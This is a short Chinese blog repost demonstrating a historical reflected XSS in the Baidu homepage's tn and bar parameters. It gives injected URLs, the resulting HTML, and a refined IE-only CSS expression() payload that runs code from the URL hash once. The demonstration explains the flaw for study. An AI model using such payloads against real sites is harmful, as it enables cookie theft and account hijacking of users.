一个典型的参数型跨站脚本漏洞
拿百度主頁曾經的一個XSS做個演示,這個漏洞是由于百度主頁tn和bar參數過濾不嚴導致的參數型XSS:
http://www.baidu.com/index.php?tn="/**/style=xss:expression(alert(‘xss‘));??
http://www.baidu.com/index.php?bar="/**/style=xss:expression(alert(‘xss‘));??
tn和bar兩個參數對應在頁面的輸出是兩個input表單值,可以使用”(雙引號)閉合表單值,加入CSS屬性跨站,頁面具體輸出如下:
<input?type=hidden?name=tn?value=""/**/style=xss:expression(alert(‘xss‘));">??
這個漏洞只能在IE下使用,FIREFOX會把URL鏈接參數中的”(雙引號)轉成編碼%22,頁面參數的輸出也會變成%22,就不能閉合”(雙引號)跨站。expression()是個不聽話的角色,這里可以用一個小技巧來去掉expression煩人的死循環。運行當前URL的#注釋符后的代碼:??
eval(unescape(location.hash.substr(1)))??
給window對象的方法定義一個值,判斷這個值運行一次代碼:??
(window.r!=1)?eval(‘window.r=1;eval(unescape(location.hash.substr(1)))‘):1??
最后得到完美的攻擊鏈接:??
http://www.baidu.com/index.php?bar="/**/style=xss:expression((window.r!=1)?eval(‘window.r=1;eval(unescape(location.hash.substr(1)))‘):1);#alert%28%29??
轉載于:https://www.cnblogs.com/itchong/p/abcd9.html
總結
以上是生活随笔為你收集整理的一个典型的参数型跨站脚本漏洞的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: DailyRollingFileAppe
- 下一篇: XVIII Open Cup named